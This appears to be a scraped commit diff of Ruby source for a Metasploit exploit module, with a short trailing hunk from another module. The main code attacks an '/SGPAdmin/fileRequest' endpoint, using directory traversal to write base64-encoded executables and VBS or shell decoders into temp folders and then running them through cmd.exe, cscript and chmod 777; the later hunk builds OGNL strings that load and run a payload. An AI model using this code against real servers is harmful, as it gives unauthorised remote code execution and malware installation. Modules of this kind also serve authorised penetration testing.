||||
|
||||
register_advanced_options(
|
||||
[
|
||||
OptInt.new('TRAVERSAL_DEPTH', [ true, 'Traversal depth to hit the root folder', 20]),
|
||||
OptString.new("WINDIR", [ true, 'The Windows Directory name', 'WINDOWS' ]),
|
||||
OptString.new("TEMP_DIR", [ false, 'A directory where we can write files' ])
|
||||
], self.class)
|
||||
|
||||
end
|
||||
|
||||
def check
|
||||
os = get_os
|
||||
|
||||
if os.nil?
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
Exploit::CheckCode::Appears
|
||||
end
|
||||
|
||||
def exploit
|
||||
os = get_os
|
||||
|
||||
if os == 'win' && target.name =~ /Linux/
|
||||
fail_with(Failure::BadConfig, "#{peer} - Windows system detected, but Linux target selected")
|
||||
elsif os == 'linux' && target.name =~ /Windows/
|
||||
fail_with(Failure::BadConfig, "#{peer} - Linux system detected, but Windows target selected")
|
||||
elsif os.nil?
|
||||
print_warning("#{peer} - Failed to detect remote operating system, trying anyway...")
|
||||
end
|
||||
|
||||
if target.name =~ /Windows.*VB/
|
||||
exploit_windows_vbs
|
||||
elsif target.name =~ /Windows.*CMD/
|
||||
exploit_windows_cmd
|
||||
elsif target.name =~ /Linux.*CMD/
|
||||
exploit_linux_cmd
|
||||
elsif target.name =~ /Linux.*Native/
|
||||
exploit_linux_native
|
||||
end
|
||||
end
|
||||
|
||||
def exploit_windows_vbs
|
||||
traversal = "\\.." * traversal_depth
|
||||
payload_base64 = Rex::Text.encode_base64(generate_payload_exe)
|
||||
temp = temp_dir('win')
|
||||
decoder_file_name = "#{rand_text_alpha(4 + rand(3))}.vbs"
|
||||
encoded_file_name = "#{rand_text_alpha(4 + rand(3))}.b64"
|
||||
exe_file_name = "#{rand_text_alpha(4 + rand(3))}.exe"
|
||||
|
||||
print_status("#{peer} - Dropping the encoded payload to filesystem...")
|
||||
write_file("#{traversal}#{temp}#{encoded_file_name}", payload_base64)
|
||||
|
||||
vbs = generate_decoder_vbs({
|
||||
:temp_dir => "C:#{temp}",
|
||||
:encoded_file_name => encoded_file_name,
|
||||
:exe_file_name => exe_file_name
|
||||
})
|
||||
print_status("#{peer} - Dropping the VBS decoder to filesystem...")
|
||||
write_file("#{traversal}#{temp}#{decoder_file_name}", vbs)
|
||||
|
||||
register_files_for_cleanup("C:#{temp}#{decoder_file_name}")
|
||||
register_files_for_cleanup("C:#{temp}#{encoded_file_name}")
|
||||
register_files_for_cleanup("C:#{temp}#{exe_file_name}")
|
||||
print_status("#{peer} - Executing payload...")
|
||||
execute("#{traversal}\\#{win_dir}\\System32\\cscript //nologo C:#{temp}#{decoder_file_name}")
|
||||
end
|
||||
|
||||
|
||||
def exploit_windows_cmd
|
||||
traversal = "\\.." * traversal_depth
|
||||
execute("#{traversal}\\#{win_dir}\\System32\\cmd.exe /B /C #{payload.encoded}")
|
||||
end
|
||||
|
||||
def exploit_linux_native
|
||||
traversal = "/.." * traversal_depth
|
||||
payload_base64 = Rex::Text.encode_base64(generate_payload_exe)
|
||||
temp = temp_dir('linux')
|
||||
encoded_file_name = "#{rand_text_alpha(4 + rand(3))}.b64"
|
||||
decoder_file_name = "#{rand_text_alpha(4 + rand(3))}.sh"
|
||||
elf_file_name = "#{rand_text_alpha(4 + rand(3))}.elf"
|
||||
|
||||
print_status("#{peer} - Dropping the encoded payload to filesystem...")
|
||||
write_file("#{traversal}#{temp}#{encoded_file_name}", payload_base64)
|
||||
|
||||
decoder = <<-SH
|
||||
#!/bin/sh
|
||||
|
||||
base64 --decode #{temp}#{encoded_file_name} > #{temp}#{elf_file_name}
|
||||
chmod 777 #{temp}#{elf_file_name}
|
||||
#{temp}#{elf_file_name}
|
||||
SH
|
||||
|
||||
print_status("#{peer} - Dropping the decoder to filesystem...")
|
||||
write_file("#{traversal}#{temp}#{decoder_file_name}", decoder)
|
||||
|
||||
register_files_for_cleanup("#{temp}#{decoder_file_name}")
|
||||
register_files_for_cleanup("#{temp}#{encoded_file_name}")
|
||||
register_files_for_cleanup("#{temp}#{elf_file_name}")
|
||||
|
||||
print_status("#{peer} - Giving execution permissions to the decoder...")
|
||||
execute("#{traversal}/bin/chmod 777 #{temp}#{decoder_file_name}")
|
||||
|
||||
print_status("#{peer} - Executing decoder and payload...")
|
||||
execute("#{traversal}/bin/sh #{temp}#{decoder_file_name}")
|
||||
end
|
||||
|
||||
def exploit_linux_cmd
|
||||
temp = temp_dir('linux')
|
||||
elf = rand_text_alpha(4 + rand(4))
|
||||
|
||||
traversal = "/.." * traversal_depth
|
||||
print_status("#{peer} - Dropping payload...")
|
||||
write_file("#{traversal}#{temp}#{elf}", payload.encoded)
|
||||
register_files_for_cleanup("#{temp}#{elf}")
|
||||
print_status("#{peer} - Providing execution permissions...")
|
||||
execute("#{traversal}/bin/chmod 777 #{temp}#{elf}")
|
||||
print_status("#{peer} - Executing payload...")
|
||||
execute("#{traversal}#{temp}#{elf}")
|
||||
end
|
||||
|
||||
def generate_decoder_vbs(opts = {})
|
||||
decoder_path = File.join(Msf::Config.data_directory, "exploits", "cmdstager", "vbs_b64")
|
||||
|
||||
f = File.new(decoder_path, "rb")
|
||||
decoder = f.read(f.stat.size)
|
||||
f.close
|
||||
|
||||
decoder.gsub!(/>>decode_stub/, "")
|
||||
decoder.gsub!(/^echo /, "")
|
||||
decoder.gsub!(/ENCODED/, "#{opts[:temp_dir]}#{opts[:encoded_file_name]}")
|
||||
decoder.gsub!(/DECODED/, "#{opts[:temp_dir]}#{opts[:exe_file_name]}")
|
||||
|
||||
decoder
|
||||
end
|
||||
|
||||
def get_os
|
||||
os = nil
|
||||
path = ""
|
||||
hint = rand_text_alpha(3 + rand(4))
|
||||
|
||||
res = send_request(20, "writeDataFile", rand_text_alpha(4 + rand(10)), "/#{hint}/#{hint}")
|
||||
|
||||
if res && res.code == 200 && res.body =~ /java.io.FileNotFoundException: (.*)\/#{hint}\/#{hint} \(No such file or directory\)/
|
||||
path = $1
|
||||
elsif res && res.code == 200 && res.body =~ /java.io.FileNotFoundException: (.*)\\#{hint}\\#{hint} \(The system cannot find the path specified\)/
|
||||
path = $1
|
||||
end
|
||||
|
||||
if path =~ /^\//
|
||||
os = 'linux'
|
||||
elsif path =~ /^[a-zA-Z]:\\/
|
||||
os = 'win'
|
||||
end
|
||||
|
||||
os
|
||||
end
|
||||
|
||||
def temp_dir(os)
|
||||
temp = ""
|
||||
case os
|
||||
when 'linux'
|
||||
temp = linux_temp_dir
|
||||
when 'win'
|
||||
temp = win_temp_dir
|
||||
end
|
||||
|
||||
temp
|
||||
end
|
||||
|
||||
def linux_temp_dir
|
||||
dir = "/tmp/"
|
||||
|
||||
if datastore['TEMP_DIR'] && !datastore['TEMP_DIR'].empty?
|
||||
dir = datastore['TEMP_DIR']
|
||||
end
|
||||
|
||||
unless dir.start_with?("/")
|
||||
dir = "/#{dir}"
|
||||
end
|
||||
|
||||
unless dir.end_with?("/")
|
||||
dir = "#{dir}/"
|
||||
end
|
||||
|
||||
dir
|
||||
end
|
||||
|
||||
def win_temp_dir
|
||||
dir = "\\#{win_dir}\\Temp\\"
|
||||
|
||||
if datastore['TEMP_DIR'] && !datastore['TEMP_DIR'].empty?
|
||||
dir = datastore['TEMP_DIR']
|
||||
end
|
||||
|
||||
dir.gsub!(/\//, "\\")
|
||||
dir.gsub!(/^([A-Za-z]:)?/, "")
|
||||
|
||||
unless dir.start_with?("\\")
|
||||
dir = "\\#{dir}"
|
||||
end
|
||||
|
||||
unless dir.end_with?("\\")
|
||||
dir = "#{dir}\\"
|
||||
end
|
||||
|
||||
dir
|
||||
end
|
||||
|
||||
def win_dir
|
||||
dir = "WINDOWS"
|
||||
if datastore['WINDIR']
|
||||
dir = datastore['WINDIR']
|
||||
dir.gsub!(/\//, "\\")
|
||||
dir.gsub!(/[\\]*$/, "")
|
||||
dir.gsub!(/^([A-Za-z]:)?[\\]*/, "")
|
||||
end
|
||||
|
||||
dir
|
||||
end
|
||||
|
||||
def traversal_depth
|
||||
depth = 20
|
||||
|
||||
if datastore['TRAVERSAL_DEPTH'] && datastore['TRAVERSAL_DEPTH'] > 1
|
||||
depth = datastore['TRAVERSAL_DEPTH']
|
||||
end
|
||||
|
||||
depth
|
||||
end
|
||||
|
||||
def write_file(file_name, contents)
|
||||
res = send_request(20, "writeDataFile", Rex::Text.uri_encode(contents), file_name)
|
||||
|
||||
unless res && res.code == 200 && res.body.to_s =~ /Data successfully writen to file: /
|
||||
fail_with(Failure::Unknown, "#{peer} - Failed to write file... aborting")
|
||||
end
|
||||
|
||||
res
|
||||
end
|
||||
|
||||
def execute(command)
|
||||
res = send_request(1, "run", command)
|
||||
|
||||
res
|
||||
end
|
||||
|
||||
def send_request(timeout, command, query, source = rand_text_alpha(rand(4) + 4))
|
||||
data = "&invoker=#{rand_text_alpha(rand(4) + 4)}"
|
||||
data << "&title=#{rand_text_alpha(rand(4) + 4)}"
|
||||
data << "¶ms=#{rand_text_alpha(rand(4) + 4)}"
|
||||
data << "&id=#{rand_text_alpha(rand(4) + 4)}"
|
||||
data << "&cmd=#{command}"
|
||||
data << "&source=#{source}"
|
||||
data << "&query=#{query}"
|
||||
|
||||
res = send_request_cgi(
|
||||
{
|
||||
'uri' => normalize_uri('/', 'SGPAdmin', 'fileRequest'),
|
||||
'method' => 'POST',
|
||||
'data' => data
|
||||
}, timeout)
|
||||
|
||||
res
|
||||
end
|
||||
|
||||
end
|
|
@ -45,7 +45,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
['Windows Universal',
|
||||
{
|
||||
'Arch' => ARCH_X86,
|
||||
'Platform' => 'windows'
|
||||
'Platform' => 'win'
|
||||
}
|
||||
],
|
||||
['Linux Universal',
|
||||
|
@ -140,7 +140,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
exec_cmd << "#c=#cl.loadClass('metasploit.Payload'),"
|
||||
exec_cmd << "#c.getMethod('main',new java.lang.Class[]{@java.lang.Class@forName('[Ljava.lang.String;')}).invoke("
|
||||
exec_cmd << "null,new java.lang.Object[]{new java.lang.String[0]})"
|
||||
when 'windows'
|
||||
when 'win'
|
||||
path = temp_path || './'
|
||||
payload_exe = "#{path}#{payload_exe}.exe"
|
||||
exec_cmd = "@java.lang.Runtime@getRuntime().exec('#{payload_exe}')"
|
||||
|
|
Some files were not shown because too many files have changed in this diff Show More
Loading…
Reference in New Issue